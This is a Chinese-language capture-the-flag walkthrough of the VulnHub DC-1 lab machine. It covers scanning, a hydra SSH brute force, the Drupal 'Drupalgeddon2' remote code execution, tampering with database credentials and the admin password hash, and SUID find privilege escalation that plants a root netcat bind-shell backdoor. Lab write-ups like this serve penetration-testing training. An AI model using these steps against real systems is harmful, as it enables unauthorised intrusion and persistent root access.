DC-1靶机

Download

1
https://www.vulnhub.com/entry/dc-1,292/

将网路模式改为net模式

相关知识点

  • nmap扫描网段与端口服务的探测
  • msfconsole使用
  • drupal cms漏洞利用
  • netcat反弹shell
  • mysql数据库渗透思路
  • suid提权

基础信息收集

1
2
3
4
5
6
主机发现
$ nmap -sn -n --min-rate 1000 192.168.101.0/24
$ arp-scan -l
端口探测
$ ports=$(nmap -p- -sS -n --min-rate=1000 -T4 192.168.101.132 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -sV -n -p$ports -T4 -A 192.168.101.132 -oN nmap.txt

发现22、80、111端口,尝试shh爆破(nmap也能爆破)

1
$ hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/**rockyou**.txt -f -o hydra.txt -u

发现ssh爆破失败,尝试80端口的web服务
网站就一登录页面,注册账户发现不能设置密码,提示拿到admin用户的权限,扫cms。

1
$ wahtweb http://192.168.101.132

发现其cms为drupal,尝试drupal漏洞利用

1
2
$ searchsploit drupal
$ searchsploit -m php/webapps/xxxxx.rb

发现drupal cms存在远程代码执行漏洞,尝试利用,成功获取webshell

1
2
$ whomai
$ www-data

开交互shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

发现有漏洞也可以直接用msf
使用2018年的漏洞吧,是个远程代码执行(代码审计现在真心看不懂,😔)
https://www.exploit-db.com/exploits/44482
https://paper.seebug.org/567/

1
2
3
4
5
6
7
8
9
// file: \core\lib\Drupal\Core\Render\Renderer.php
if (isset($elements['#pre_render'])) {
foreach ($elements['#pre_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements = call_user_func($callable, $elements);
}
}

数据库攻击

当前目录下找到flag1,/home/flag4下发现flag4,flag1提示去看drupal默认配置文件,查看默认配置文件发现mysql敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

这边看到了flag2
登录mysql数据库,查看数据库信息,查看一下node和user表,发现flag3,uid为1,说明要admin权限。发现admin账户pass经过hash加密,hash加密算法不可知。
这边有两个思路,一个是我们注册一个账号将二者hash互换,但是注册时无法写密码,第二个便是我们找到加密脚本,将我们的密码加密后写入数据库。发现加密脚本位置scripts/password-hash.sh
这里为什么要看node表呢???(user表就不说了吧)
因为drupal node机制理解

1
2
php scripts/password-hash.sh admin
password: admin hash: $S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.

更换管理员密码的hash。

1
update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin';

提权

登录admin账户后拿到flag3。
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
FIND,-exec提示很明显了,find提权。flag4也提示我们要提权到root。

1
2
3
4
不同系统适用于不同的命令
$ find / -perm -u=s -type f 2>/dev/null
$ find / -user root -perm -4000-print2>/dev/null
$ find / -user root -perm -4000-exec ls -ldb {} \;

尝试查看find是否有suid权限

1
find /tmp -exec whoami  \;

find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了。
留一个root的netcat的后门

1
2
find /tmp -exec netcat -lvp 4444 -e "/bin/sh" \;
nc 192.168.124.145 4444

拿到最后一个flag。

Well done!!!!

Hopefully you’ve enjoyed this and learned some new skills.

You can let me know what you thought of this little journey\
by contacting me via Twitter - @DCAU7